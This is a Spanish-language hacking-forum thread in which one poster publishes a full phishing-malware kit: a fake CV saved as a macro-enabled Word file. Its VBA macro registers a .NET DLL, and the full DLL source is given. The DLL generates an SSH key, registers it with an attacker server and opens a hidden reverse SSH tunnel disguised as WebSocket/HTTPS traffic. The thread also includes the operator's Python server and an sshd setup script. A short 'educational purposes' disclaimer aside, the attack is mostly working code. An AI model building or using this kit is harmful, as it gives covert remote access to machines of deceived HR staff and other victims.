Autor
|
Tema: SSH Reverse Shell over HTTPs (Leído 139 veces)
|
Shyx
Desconectado
Mensajes: 6
|
Uno de los métodos más clásicos para obtener una reverse shell consiste en ejecutar un script de PowerShell en la máquina objetivo mientras el atacante mantiene un listener a la espera de conexión. A día de hoy, este enfoque todavía puede funcionar en ciertos escenarios, pero la realidad es que cada vez genera más sospechas: los usuarios son más cautos y cualquier comportamiento mínimamente anómalo suele levantar alertas. Por eso resulta interesante plantear una alternativa. Partamos de una premisa bastante realista: muchas empresas están abiertas a recibir CVs de candidatos, y los departamentos de RRHH no suelen estar especialmente enfocados en seguridad informática. ¿Qué pasaría si ese CV, aparentemente legítimo, estuviera “preparado” para hacer algo más que presentarte como candidato? Para sorpresa (o desgracia) de muchos, Microsoft Office sigue soportando a día de hoy VBA embebido en documentos como Word o Excel. Esto abre la puerta a un vector de ataque tan simple como efectivo: enviar un CV en formato Word aparentemente inofensivo y esperar a que alguien lo abra. A partir de ahí, empieza la parte interesante. Nota: Este proyecto tiene fines exclusivamente educativos y de investigación en el ámbito de la ciberseguridad. El autor no se hace responsable del uso indebido o malintencionado que pueda realizarse del mismo.
La idea no es la típica reverse shell ruidosa, sino algo bastante más elegante: establecer un túnel SSH inverso encapsulado dentro de tráfico WebSocket (WSS), de forma que toda la comunicación salga como si fuera tráfico HTTPS legítimo. El flujo arranca en cuanto se abre el documento. La macro no hace nada especialmente complejo por sí misma, pero sí actúa como launcher: • Registra una DLL .NET mediante RegAsm • Invoca un método expuesto vía COM (StartDefault) Este punto es clave: VBA se utiliza únicamente como puerta de entrada, mientras que toda la lógica real se delega en código .NET, mucho más flexible y potente. Una vez dentro de la DLL, comienza el flujo principal: 1. Generación de clave SSHSi no existe previamente, se crea un par de claves ed25519 en: C:\ProgramData\SshReverseTunnel\ssh\Esto permite autenticación sin contraseña y, además, introduce cierta persistencia, ya que la clave se reutiliza en ejecuciones posteriores. 2. Registro de la clave en el servidorEl cliente envía su clave pública a un endpoint: /api/register-keyEl servidor la añade a authorized_keys, permitiendo que ese cliente pueda autenticarse automáticamente contra su servicio SSH. 3. Creación del canal encubierto (WSS)Aquí es donde la técnica se vuelve realmente interesante. En lugar de conectar directamente por SSH al servidor remoto, el cliente levanta un listener local: 127.0.0.1:2222Sin embargo, este puerto no es un servidor SSH real, sino un proxy TCP que encapsula el tráfico dentro de WebSocket seguro (WSS) hacia: wss://mi-servidor.com/tunnel(en un escenario real, típicamente asociado a un dominio dinámico) El flujo real sería: ssh.exe → localhost:2222 → WebSocket (WSS) → servidor → SSH real 4. Establecimiento del túnel SSHCon el proxy en marcha, se lanza OpenSSH: ssh -N -p 2222 -R 9000:127.0.0.1:22 usuario@127.0.0.1 Aquí está el truco: • -p 2222 → conecta contra el proxy local • El tráfico termina realmente en el SSH del servidor • Todo el canal SSH viaja encapsulado dentro de WSS Una vez autenticado, se negocia el reverse tunnel: Esto provoca que, en el servidor, se abra: localhost:9000 → redirige al SSH de la víctima5. Resultado finalDesde el lado del operador, el acceso es trivial: ssh -p 9000 usuario@localhost Y eso termina abriendo una sesión SSH directamente contra la máquina víctima, como si estuviera expuesta en la red local. Muy bien, ¿y cuál sería entonces el procedimiento? Lo primero sería redactar un CV falso (eso lo dejo a la imaginación del querido lector), y después sería necesario guardarlo como documento .docm. En este documento guardamos nuestro launcher: Option Explicit
Private Const DLL_NAME As String = "SshReverseTunnel.dll" Private Const PROG_ID As String = "SshReverseTunnel.SshReverseTunnel"
Sub RegisterAndRun() Dim dllPath As String Dim regAsmPath As String Dim cmd As String Dim rc As Long Dim obj As Object Dim sh As Object Dim ex As Object dllPath = ThisDocument.Path & "\" & DLL_NAME regAsmPath = GetRegAsmPath() If Dir(dllPath) = "" Then Exit Sub End If If Dir(regAsmPath) = "" Then Exit Sub End If Set sh = CreateObject("WScript.Shell") cmd = """" & regAsmPath & """ """ & dllPath & """ /codebase" Set ex = sh.Exec(cmd) Do While ex.Status = 0 DoEvents Loop rc = ex.ExitCode If rc <> 0 Then Exit Sub End If Set obj = CreateObject(PROG_ID) If obj Is Nothing Then Exit Sub End If obj.StartDefault Exit Sub End Sub
Function GetRegAsmPath() As String #If Win64 Then GetRegAsmPath = Environ$("WINDIR") & "\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" #Else GetRegAsmPath = Environ$("WINDIR") & "\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" #End If End Function
Este launcher actúa como puente entre el documento y una DLL externa. En un poco más de detalle: 1.Localiza recursosConstruye la ruta de la DLL (SshReverseTunnel.dll) en la misma carpeta del documento. Obtiene la ruta de RegAsm.exe (según si el sistema es 32 o 64 bits). 2. Verifica que todo existaSi no encuentra la DLL o RegAsm, se detiene sin hacer nada. 3. Registra la DLL como COMEjecuta RegAsm.exe con /codebase, lo que permite registrar la DLL directamente desde su ubicación actual. Espera a que el proceso termine y comprueba que no haya errores. 4. Crea el objetoUsa CreateObject("SshReverseTunnel.SshReverseTunnel") para instanciar la clase definida en la DLL. 5. Ejecuta la funcionalidadLlama al método StartDefault, que es donde realmente está la lógica (en la DLL, no en la macro).
|
|
|
|
« Última modificación: Hoy a las 01:04 por Shyx »
|
En línea
|
|
|
|
Shyx
Desconectado
Mensajes: 6
|
El código de la DLL SshReverseTunnel.vbImports System Imports System.Collections.Concurrent Imports System.Diagnostics Imports System.IO Imports System.Net Imports System.Net.Sockets Imports System.Net.WebSockets Imports System.Runtime.InteropServices Imports System.Text Imports System.Threading Imports System.Threading.Tasks
<ComVisible(True)> <Guid("D1C05C4F-66EB-449B-9035-EFA476788414")> <ProgId("SshReverseTunnel.SshReverseTunnel")> <ClassInterface(ClassInterfaceType.AutoDual)> Public Class SshReverseTunnel Implements IDisposable
' ===== HARDCODED CONFIGURATION =====
' Remote WebSocket Secure endpoint used by the local bridge. Private Const DEFAULT_WSS_URL As String = "wss://mi-servidor.com/tunnel"
' HTTPS endpoint used to register the generated SSH public key. Private Const DEFAULT_REGISTER_KEY_URL As String = "https://mi-servidor.com/api/register-key"
' SSH user on the remote server. Private Const DEFAULT_SSH_USER As String = "ubuntu"
' Remote port opened on the SSH server through reverse forwarding. Private Const DEFAULT_REVERSE_PORT As Integer = 9000
' Local SSH service that will be exposed through the reverse tunnel. Private Const DEFAULT_CLIENT_HOST As String = "127.0.0.1" Private Const DEFAULT_CLIENT_PORT As Integer = 22
' Local TCP port used by ssh.exe to connect into the WebSocket bridge. Private Const DEFAULT_LOCAL_TUNNEL_PORT As Integer = 2222
' Automatically generated SSH private key path. Private Const DEFAULT_IDENTITY_FILE As String = "C:\ProgramData\SshReverseTunnel\ssh\id_ed25519"
' Optional token used for both WSS and public key registration. Private Const DEFAULT_BEARER_TOKEN As String = ""
Private _listener As TcpListener Private _cts As CancellationTokenSource Private _acceptTask As Task Private _sshProcess As Process
Private _running As Boolean = False Private _lastError As String = ""
Private _remoteWssUrl As String = "" Private _bearerToken As String = ""
Private ReadOnly _clients As New ConcurrentBag(Of TcpClient) Private ReadOnly _clientTasks As New ConcurrentBag(Of Task)
''' <summary> ''' Starts the reverse SSH tunnel using predefined configuration values. ''' </summary> Public Function StartDefault() As Boolean Return StartReverseSsh( DEFAULT_WSS_URL, DEFAULT_REGISTER_KEY_URL, DEFAULT_SSH_USER, DEFAULT_REVERSE_PORT, DEFAULT_CLIENT_HOST, DEFAULT_CLIENT_PORT, DEFAULT_LOCAL_TUNNEL_PORT, DEFAULT_BEARER_TOKEN, DEFAULT_IDENTITY_FILE ) End Function
''' <summary> ''' Starts the full automatic reverse SSH tunnel flow. ''' The method generates an SSH key if needed, registers the public key, ''' starts the local WSS bridge, and launches OpenSSH in non-interactive mode. ''' </summary> Public Function StartReverseSsh( ByVal remoteWssUrl As String, ByVal registerKeyUrl As String, ByVal sshServerUser As String, ByVal reversePortOnServer As Integer, Optional ByVal clientSshHost As String = "127.0.0.1", Optional ByVal clientSshPort As Integer = 22, Optional ByVal localTunnelPort As Integer = 2222, Optional ByVal bearerToken As String = "", Optional ByVal identityFile As String = "" ) As Boolean
Try If _running Then _lastError = "Already running" Return False End If
If String.IsNullOrWhiteSpace(identityFile) Then identityFile = DEFAULT_IDENTITY_FILE End If
' Ensure that the client has a local SSH key pair. If Not EnsureSshKey(identityFile) Then Return False End If
' Register the generated public key with the server. ' The server endpoint should be idempotent and ignore duplicates. If Not RegisterPublicKey(registerKeyUrl, identityFile & ".pub", bearerToken) Then Return False End If
' Start local TCP listener that bridges traffic into the remote WSS endpoint. If Not StartLocalWssTunnel(remoteWssUrl, localTunnelPort, bearerToken) Then Return False End If
' Launch OpenSSH reverse tunnel using the generated private key. If Not LaunchOpenSshReverseTunnel( sshServerUser, reversePortOnServer, clientSshHost, clientSshPort, localTunnelPort, identityFile ) Then StopReverseSsh() Return False End If
_running = True Return True
Catch ex As Exception _lastError = ex.Message StopReverseSsh() Return False End Try End Function
''' <summary> ''' Generates an Ed25519 SSH key pair if it does not already exist. ''' The generated private key is stored locally and reused on future runs. ''' </summary> Private Function EnsureSshKey(ByVal identityFile As String) As Boolean Try Dim dir As String = Path.GetDirectoryName(identityFile)
If String.IsNullOrWhiteSpace(dir) Then _lastError = "Invalid identity file path" Return False End If
If Not Directory.Exists(dir) Then Directory.CreateDirectory(dir) End If
If File.Exists(identityFile) AndAlso File.Exists(identityFile & ".pub") Then Return True End If
Dim psi As New ProcessStartInfo() psi.FileName = "ssh-keygen.exe" psi.Arguments = "-t ed25519 -N """" -f " & Quote(identityFile) psi.UseShellExecute = False psi.CreateNoWindow = True psi.RedirectStandardOutput = True psi.RedirectStandardError = True
Using p As Process = Process.Start(psi) p.WaitForExit()
If p.ExitCode <> 0 Then _lastError = p.StandardError.ReadToEnd() Return False End If End Using
Return True
Catch ex As Exception _lastError = ex.Message Return False End Try End Function
''' <summary> ''' Sends the generated SSH public key to the server registration endpoint. ''' The server should validate the request, avoid duplicates, and append the key ''' to the appropriate authorized_keys file. ''' </summary> Private Function RegisterPublicKey( ByVal registerKeyUrl As String, ByVal publicKeyPath As String, ByVal bearerToken As String ) As Boolean
Try If String.IsNullOrWhiteSpace(registerKeyUrl) Then _lastError = "Register key URL is empty" Return False End If
If Not registerKeyUrl.StartsWith("http://", StringComparison.OrdinalIgnoreCase) AndAlso Not registerKeyUrl.StartsWith("https://", StringComparison.OrdinalIgnoreCase) Then _lastError = "Register key URL must start with http:// or https://" Return False End If
If Not File.Exists(publicKeyPath) Then _lastError = "Public key file was not found" Return False End If
Dim publicKey As String = File.ReadAllText(publicKeyPath).Trim()
If String.IsNullOrWhiteSpace(publicKey) Then _lastError = "Public key is empty" Return False End If
' La API espera public_key como parámetro query, no como JSON Dim separator As String = If(registerKeyUrl.Contains("?"), "&", "?") Dim finalUrl As String = registerKeyUrl & separator & "public_key=" & Uri.EscapeDataString(publicKey)
Dim request As HttpWebRequest = CType(WebRequest.Create(finalUrl), HttpWebRequest)
request.Method = "POST" request.ContentLength = 0 request.UserAgent = "SshReverseTunnelClient/1.0" request.Timeout = 15000 request.ReadWriteTimeout = 15000
If Not String.IsNullOrWhiteSpace(bearerToken) Then request.Headers.Set("Authorization", "Bearer " & bearerToken) End If
Using response = CType(request.GetResponse(), HttpWebResponse) If response.StatusCode = HttpStatusCode.OK OrElse response.StatusCode = HttpStatusCode.Created OrElse response.StatusCode = HttpStatusCode.NoContent Then Return True End If
_lastError = "Public key registration failed: " & response.StatusCode.ToString() Return False End Using
Catch ex As WebException If ex.Response IsNot Nothing Then Try Using response = CType(ex.Response, HttpWebResponse) Dim responseBody As String = ""
Using reader As New StreamReader(response.GetResponseStream()) responseBody = reader.ReadToEnd() End Using
_lastError = "Public key registration failed: HTTP " & CInt(response.StatusCode).ToString() & " " & response.StatusDescription & " - " & responseBody End Using Catch _lastError = ex.Message End Try Else _lastError = ex.Message End If
Return False
Catch ex As Exception _lastError = ex.Message Return False End Try End Function
''' <summary> ''' Starts a local TCP listener that forwards incoming traffic to the remote WSS server. ''' </summary> Private Function StartLocalWssTunnel( ByVal remoteWssUrl As String, ByVal localPort As Integer, ByVal bearerToken As String ) As Boolean
Try If String.IsNullOrWhiteSpace(remoteWssUrl) Then _lastError = "Remote WSS URL Is empty" Return False End If
If Not remoteWssUrl.StartsWith("ws://", StringComparison.OrdinalIgnoreCase) AndAlso Not remoteWssUrl.StartsWith("wss://", StringComparison.OrdinalIgnoreCase) Then _lastError = "Remote URL must start with ws:// or wss://" Return False End If
If localPort <= 0 OrElse localPort > 65535 Then _lastError = "Invalid local tunnel port" Return False End If
_remoteWssUrl = remoteWssUrl _bearerToken = bearerToken
_cts = New CancellationTokenSource()
_listener = New TcpListener(IPAddress.Loopback, localPort) _listener.Start()
_acceptTask = Task.Run(Function() AcceptLoopAsync(_cts.Token))
Return True
Catch ex As Exception _lastError = ex.Message Return False End Try End Function
''' <summary> ''' Launches ssh.exe with reverse port forwarding enabled. ''' BatchMode disables password prompts, making execution fully non-interactive. ''' </summary> Private Function LaunchOpenSshReverseTunnel( ByVal sshServerUser As String, ByVal reversePortOnServer As Integer, ByVal clientSshHost As String, ByVal clientSshPort As Integer, ByVal localTunnelPort As Integer, ByVal identityFile As String ) As Boolean
Try If String.IsNullOrWhiteSpace(sshServerUser) Then _lastError = "SSH server user Is empty" Return False End If
If reversePortOnServer <= 0 OrElse reversePortOnServer > 65535 Then _lastError = "Invalid reverse port On server" Return False End If
If clientSshPort <= 0 OrElse clientSshPort > 65535 Then _lastError = "Invalid client SSH port" Return False End If
If localTunnelPort <= 0 OrElse localTunnelPort > 65535 Then _lastError = "Invalid local tunnel port" Return False End If
If String.IsNullOrWhiteSpace(identityFile) OrElse Not File.Exists(identityFile) Then _lastError = "SSH identity file was Not found" Return False End If
Dim sshPath As String = FindWindowsOpenSsh()
If String.IsNullOrWhiteSpace(sshPath) Then _lastError = "OpenSSH executable was Not found" Return False End If
Dim args As String = "-N " & "-o BatchMode=yes " & "-o ExitOnForwardFailure=yes " & "-o StrictHostKeyChecking=accept-new " & "-o ServerAliveInterval=30 " & "-o ServerAliveCountMax=3 " & "-p " & localTunnelPort.ToString() & " " & "-i " & Quote(identityFile) & " " & "-R " & reversePortOnServer.ToString() & ":" & clientSshHost & ":" & clientSshPort.ToString() & " " & Quote(sshServerUser & "@127.0.0.1")
Dim psi As New ProcessStartInfo() psi.FileName = sshPath psi.Arguments = args psi.UseShellExecute = False psi.CreateNoWindow = True psi.WindowStyle = ProcessWindowStyle.Hidden psi.RedirectStandardOutput = True psi.RedirectStandardError = True
_sshProcess = New Process() _sshProcess.StartInfo = psi _sshProcess.EnableRaisingEvents = True
AddHandler _sshProcess.ErrorDataReceived, Sub(sender, e) If Not String.IsNullOrWhiteSpace(e.Data) Then _lastError = "[SSH STDERR] " & e.Data End If End Sub
AddHandler _sshProcess.OutputDataReceived, Sub(sender, e) If Not String.IsNullOrWhiteSpace(e.Data) Then _lastError = "[SSH STDOUT] " & e.Data End If End Sub
AddHandler _sshProcess.Exited, Sub(sender, e) _running = False End Sub
_sshProcess.Start() _sshProcess.BeginErrorReadLine() _sshProcess.BeginOutputReadLine()
Return True
Catch ex As Exception _lastError = ex.Message Return False End Try End Function
''' <summary> ''' Accepts local TCP clients and creates an independent WebSocket bridge for each one. ''' </summary> Private Async Function AcceptLoopAsync(ByVal token As CancellationToken) As Task While Not token.IsCancellationRequested Try Dim client As TcpClient = Await _listener.AcceptTcpClientAsync().ConfigureAwait(False)
_clients.Add(client)
Dim clientTask As Task = HandleClientAsync(client, token) _clientTasks.Add(clientTask)
Catch ex As ObjectDisposedException Exit While
Catch ex As Exception If Not token.IsCancellationRequested Then _lastError = ex.Message End If
Exit While End Try End While End Function
''' <summary> ''' Bridges a single TCP client connection to a remote WebSocket connection. ''' </summary> Private Async Function HandleClientAsync( ByVal client As TcpClient, ByVal token As CancellationToken ) As Task
Using client Using ws As New ClientWebSocket() Try If Not String.IsNullOrWhiteSpace(_bearerToken) Then ws.Options.SetRequestHeader("Authorization", "Bearer " & _bearerToken) End If
Await ws.ConnectAsync(New Uri(_remoteWssUrl), token).ConfigureAwait(False)
Using stream As NetworkStream = client.GetStream() Dim t1 As Task = PumpTcpToWebSocketAsync(stream, ws, token) Dim t2 As Task = PumpWebSocketToTcpAsync(ws, stream, token)
Await Task.WhenAny(t1, t2).ConfigureAwait(False) End Using
Catch ex As OperationCanceledException ' Expected during shutdown.
Catch ex As Exception _lastError = ex.Message
Finally CloseWebSocketQuietly(ws) End Try End Using End Using End Function
''' <summary> ''' Forwards bytes from the TCP stream to the WebSocket connection. ''' </summary> Private Async Function PumpTcpToWebSocketAsync( ByVal stream As NetworkStream, ByVal ws As ClientWebSocket, ByVal token As CancellationToken ) As Task
Dim buffer(32767) As Byte
While ws.State = WebSocketState.Open AndAlso Not token.IsCancellationRequested Dim read As Integer = Await stream.ReadAsync(buffer, 0, buffer.Length, token).ConfigureAwait(False)
If read <= 0 Then Exit While End If
Await ws.SendAsync( New ArraySegment(Of Byte)(buffer, 0, read), WebSocketMessageType.Binary, True, token ).ConfigureAwait(False) End While End Function
''' <summary> ''' Forwards bytes from the WebSocket connection back to the TCP stream. ''' </summary> Private Async Function PumpWebSocketToTcpAsync( ByVal ws As ClientWebSocket, ByVal stream As NetworkStream, ByVal token As CancellationToken ) As Task
Dim buffer(32767) As Byte
While ws.State = WebSocketState.Open AndAlso Not token.IsCancellationRequested Dim result As WebSocketReceiveResult = Await ws.ReceiveAsync( New ArraySegment(Of Byte)(buffer), token ).ConfigureAwait(False)
If result.MessageType = WebSocketMessageType.Close Then Exit While End If
If result.Count > 0 Then Await stream.WriteAsync(buffer, 0, result.Count, token).ConfigureAwait(False) Await stream.FlushAsync(token).ConfigureAwait(False) End If End While End Function
''' <summary> ''' Attempts to close the WebSocket gracefully without throwing shutdown exceptions. ''' </summary> Private Sub CloseWebSocketQuietly(ByVal ws As ClientWebSocket) Try If ws IsNot Nothing AndAlso ws.State = WebSocketState.Open Then ws.CloseAsync( WebSocketCloseStatus.NormalClosure, "Closing", CancellationToken.None ).Wait(2000) End If Catch End Try End Sub
''' <summary> ''' Stops the SSH process, local listener, active clients, and async operations. ''' </summary> Public Sub StopReverseSsh() Try _running = False
If _cts IsNot Nothing Then Try _cts.Cancel() Catch End Try End If
If _sshProcess IsNot Nothing Then Try If Not _sshProcess.HasExited Then _sshProcess.Kill() End If Catch End Try
Try _sshProcess.Dispose() Catch End Try
_sshProcess = Nothing End If
If _listener IsNot Nothing Then Try _listener.Stop() Catch End Try
_listener = Nothing End If
For Each c As TcpClient In _clients Try c.Close() Catch End Try Next
Catch ex As Exception _lastError = ex.Message End Try End Sub
''' <summary> ''' Returns whether the tunnel is currently running. ''' </summary> Public Function IsRunning() As Boolean Return _running End Function
''' <summary> ''' Returns the last captured error message. ''' </summary> Public Function LastError() As String Return _lastError End Function
''' <summary> ''' Returns the OpenSSH executable name. ''' Windows resolves ssh.exe from PATH if OpenSSH Client is installed. ''' </summary> Private Function FindWindowsOpenSsh() As String Dim windowsSsh As String = Path.Combine( Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32\OpenSSH\ssh.exe" )
If File.Exists(windowsSsh) Then Return windowsSsh End If
Return "ssh.exe" End Function
''' <summary> ''' Quotes a command-line argument and escapes embedded quotation marks. ''' </summary> Private Function Quote(ByVal v As String) As String If v Is Nothing Then Return """""" End If
Return """" & v.Replace("""", """""") & """" End Function
''' <summary> ''' Disposes the tunnel and releases all related resources. ''' </summary> Public Sub Dispose() Implements IDisposable.Dispose StopReverseSsh()
If _acceptTask IsNot Nothing Then Try _acceptTask.Wait(2000) Catch End Try End If
If _cts IsNot Nothing Then Try _cts.Dispose() Catch End Try
_cts = Nothing End If End Sub
End Class La configuración del proyecto SshReverseTunnel.vbproj<?xml version="1.0" encoding="utf-8"?> <Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" /> <!-- CONFIG --> <PropertyGroup> <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration> <Platform Condition=" '$(Platform)' == '' ">x64</Platform> <ProjectGuid>{4A7328F2-CD36-473F-849A-12C3CE13DCD7}</ProjectGuid> <OutputType>Library</OutputType> <RootNamespace>SshReverseTunnel</RootNamespace> <AssemblyName>SshReverseTunnel</AssemblyName> <FileAlignment>512</FileAlignment> <MyType>Windows</MyType> <TargetFrameworkVersion>v4.8</TargetFrameworkVersion> <Deterministic>true</Deterministic> <RegisterForComInterop>true</RegisterForComInterop> </PropertyGroup> <!-- DEBUG --> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x64' "> <DebugSymbols>true</DebugSymbols> <DebugType>full</DebugType> <DefineDebug>true</DefineDebug> <DefineTrace>true</DefineTrace> <OutputPath>bin\Debug\</OutputPath> <DocumentationFile>SshReverseTunnel.xml</DocumentationFile> <PlatformTarget>x64</PlatformTarget> <RegisterForComInterop>true</RegisterForComInterop> <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn> </PropertyGroup> <!-- RELEASE --> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x64' "> <DebugType>pdbonly</DebugType> <DefineDebug>false</DefineDebug> <DefineTrace>true</DefineTrace> <Optimize>true</Optimize> <OutputPath>bin\Release\</OutputPath> <DocumentationFile>SshReverseTunnel.xml</DocumentationFile> <PlatformTarget>x64</PlatformTarget> <RegisterForComInterop>true</RegisterForComInterop> <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn> </PropertyGroup> <!-- VB OPTIONS --> <PropertyGroup> <OptionExplicit>On</OptionExplicit> <OptionCompare>Binary</OptionCompare> <OptionStrict>Off</OptionStrict> <OptionInfer>On</OptionInfer> </PropertyGroup> <!-- REFERENCES --> <ItemGroup> <Reference Include="System" /> <Reference Include="System.Data" /> <Reference Include="System.Xml" /> <Reference Include="System.Core" /> <Reference Include="System.Xml.Linq" /> <Reference Include="System.Data.DataSetExtensions" /> <Reference Include="System.Net.Http" /> </ItemGroup> <!-- IMPORTS --> <ItemGroup> <Import Include="Microsoft.VisualBasic" /> <Import Include="System" /> <Import Include="System.Collections" /> <Import Include="System.Collections.Generic" /> <Import Include="System.Data" /> <Import Include="System.Diagnostics" /> <Import Include="System.Linq" /> <Import Include="System.Xml.Linq" /> <Import Include="System.Threading.Tasks" /> </ItemGroup> <!-- CODE --> <ItemGroup> <Compile Include="SshReverseTunnel.vb" /> <Compile Include="My Project\AssemblyInfo.vb" /> <Compile Include="My Project\Application.Designer.vb"> <AutoGen>True</AutoGen> <DependentUpon>Application.myapp</DependentUpon> <DesignTime>True</DesignTime> </Compile> <Compile Include="My Project\Resources.Designer.vb"> <AutoGen>True</AutoGen> <DesignTime>True</DesignTime> <DependentUpon>Resources.resx</DependentUpon> </Compile> <Compile Include="My Project\Settings.Designer.vb"> <AutoGen>True</AutoGen> <DependentUpon>Settings.settings</DependentUpon> <DesignTimeSharedInput>True</DesignTimeSharedInput> </Compile> </ItemGroup> <!-- RESOURCES --> <ItemGroup> <EmbeddedResource Include="My Project\Resources.resx"> <Generator>VbMyResourcesResXFileCodeGenerator</Generator> <LastGenOutput>Resources.Designer.vb</LastGenOutput> <CustomToolNamespace>My.Resources</CustomToolNamespace> <SubType>Designer</SubType> </EmbeddedResource> </ItemGroup> <!-- OTHER --> <ItemGroup> <None Include="My Project\Application.myapp"> <Generator>MyApplicationCodeGenerator</Generator> <LastGenOutput>Application.Designer.vb</LastGenOutput> </None> <None Include="My Project\Settings.settings"> <Generator>SettingsSingleFileGenerator</Generator> <CustomToolNamespace>My</CustomToolNamespace> <LastGenOutput>Settings.Designer.vb</LastGenOutput> </None> </ItemGroup> <Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" /> </Project>
|
|
|
|
|
En línea
|
|
|
|
Shyx
Desconectado
Mensajes: 6
|
Y finalmente el código de nuestro servidor, que estará a la espera de la conexión del cliente e iniciará una sesión SSH tan rápido como entre la primera conexión. SshReverseTunnel_Server.py""" SSH Reverse Tunnel Server """
import asyncio import logging import os import subprocess from pathlib import Path from typing import Optional, Dict import uuid
import uvicorn from fastapi import FastAPI, WebSocket, HTTPException, Header from fastapi.responses import JSONResponse
app = FastAPI(title="SSH Reverse Tunnel Server")
# ====================== CONFIGURATION ====================== logging.basicConfig( level=logging.INFO, format="%(asctime)s | %(levelname)s | %(message)s" ) logger = logging.getLogger("ssh-tunnel")
SSH_HOST: str = "127.0.0.1" SSH_PORT: int = 22 REVERSE_PORT: int = 9000 SSH_USER: str = "ubuntu"
BEARER_TOKEN: str = os.getenv("BEARER_TOKEN", "") BUFFER_SIZE = 32768
active_tunnels: Dict[str, dict] = {}
def start_auto_ssh_session(tunnel_id: str): """Start SSH session automatically when client connects""" try: cmd = f'start "" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -p {REVERSE_PORT} {SSH_USER}@127.0.0.1' subprocess.Popen(cmd, shell=True) logger.info(f"Auto SSH session started for tunnel {tunnel_id}") return True except Exception as e: logger.error(f"Failed to start SSH session: {e}") return False
async def bridge_websocket_to_ssh(websocket: WebSocket, tunnel_id: str): reader = writer = None try: active_tunnels[tunnel_id] = {"status": "connected", "client": str(websocket.client)} logger.info(f"Client connected: {tunnel_id}")
start_auto_ssh_session(tunnel_id)
reader, writer = await asyncio.open_connection(SSH_HOST, SSH_PORT)
async def ws_to_ssh(): while True: data = await websocket.receive_bytes() if not data: break writer.write(data) await writer.drain()
async def ssh_to_ws(): while True: data = await reader.read(BUFFER_SIZE) if not data: break await websocket.send_bytes(data)
await asyncio.gather(ws_to_ssh(), ssh_to_ws(), return_exceptions=True)
finally: if tunnel_id in active_tunnels: del active_tunnels[tunnel_id] if writer: try: writer.close() await writer.wait_closed() except: pass
@app.post("/api/register-key") async def register_key(public_key: str, authorization: Optional[str] = Header(None)): if not public_key.strip().startswith("ssh-ed25519"): raise HTTPException(400, "Only Ed25519 keys supported")
home = Path.home() ssh_dir = home / ".ssh" ssh_dir.mkdir(mode=0o700, exist_ok=True) auth_file = ssh_dir / "authorized_keys" auth_file.touch(mode=0o600, exist_ok=True)
if public_key.strip() not in auth_file.read_text(): with auth_file.open("a") as f: f.write(public_key.strip() + "\n") logger.info("New public key registered")
return {"status": "success"}
@app.websocket("/tunnel") async def tunnel_endpoint(websocket: WebSocket): tunnel_id = str(uuid.uuid4())[:8] await websocket.accept() await bridge_websocket_to_ssh(websocket, tunnel_id)
if __name__ == "__main__": port = int(os.getenv("PORT", 8000)) host = os.getenv("HOST", "0.0.0.0")
logger.info("=" * 70) logger.info("SSH Reverse Tunnel Server STARTED (Auto Session)") logger.info(f"Listening on → http://{host}:{port}") logger.info(f"WSS Tunnel → ws://{host}:{port}/tunnel") logger.info(f"Register Key → http://{host}:{port}/api/register-key") logger.info(f"Reverse Port → {REVERSE_PORT}") logger.info(f"Status → http://{host}:{port}/status") logger.info("=" * 70)
uvicorn.run( "SshReverseTunnel_Server:app", host=host, port=port, log_level="info" )
Aaah sí, es necesario pre-instalar OpenSSH Server en nuestro equipo para poder arrancar el servidor. Os dejo un .bat que se encarga justamente de eso mismo! setup_sshd.bat@echo off echo ========================================== echo OPENSSH SERVER SETUP (WINDOWS) echo ========================================== echo.
:: Check for admin privileges net session >nul 2>&1 if %errorLevel% neq 0 ( echo [ERROR] You must run this script as Administrator. pause exit /b )
echo [1/5] Checking OpenSSH Server installation... powershell -Command "Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH.Server*'"
echo. echo [2/5] Installing OpenSSH Server (if not installed)... powershell -Command "Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0"
echo. echo [3/5] Starting sshd service... powershell -Command "Start-Service sshd"
echo. echo [4/5] Setting sshd service to start automatically... powershell -Command "Set-Service -Name sshd -StartupType Automatic"
echo. echo [5/5] Configuring firewall rule... powershell -Command ^ "if (-not (Get-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -ErrorAction SilentlyContinue)) { ^ New-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' ^ -DisplayName 'OpenSSH Server (sshd)' ^ -Enabled True ^ -Direction Inbound ^ -Protocol TCP ^ -Action Allow ^ -LocalPort 22 ^ }"
echo. echo ========================================== echo VERIFICATION echo ========================================== powershell -Command "Test-NetConnection 127.0.0.1 -Port 22"
echo. echo If you see 'TcpTestSucceeded : True', everything is working. echo.
pause
|
|
|
|
|
En línea
|
|
|
|
|
| Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Reverse Shell
Programación Visual Basic
|
cobein
|
9
|
6,047
|
15 Septiembre 2010, 18:45 pm
por VanHan
|
|
|
[!] Reverse shell Unix-like
Bugs y Exploits
|
xv0
|
6
|
6,793
|
15 Enero 2013, 16:36 pm
por Falso Positivo
|
|
|
python reverse shell
Scripting
|
Sentex
|
6
|
3,978
|
27 Septiembre 2017, 17:31 pm
por Sentex
|
|
|
http, tcp reverse shell
Hacking
|
juliomob
|
5
|
6,361
|
6 Noviembre 2020, 14:27 pm
por BloodSharp
|
|
|
Reverse shell a ip publica
Hacking
|
Panic0
|
3
|
4,750
|
23 Febrero 2022, 13:55 pm
por Panic0
|
|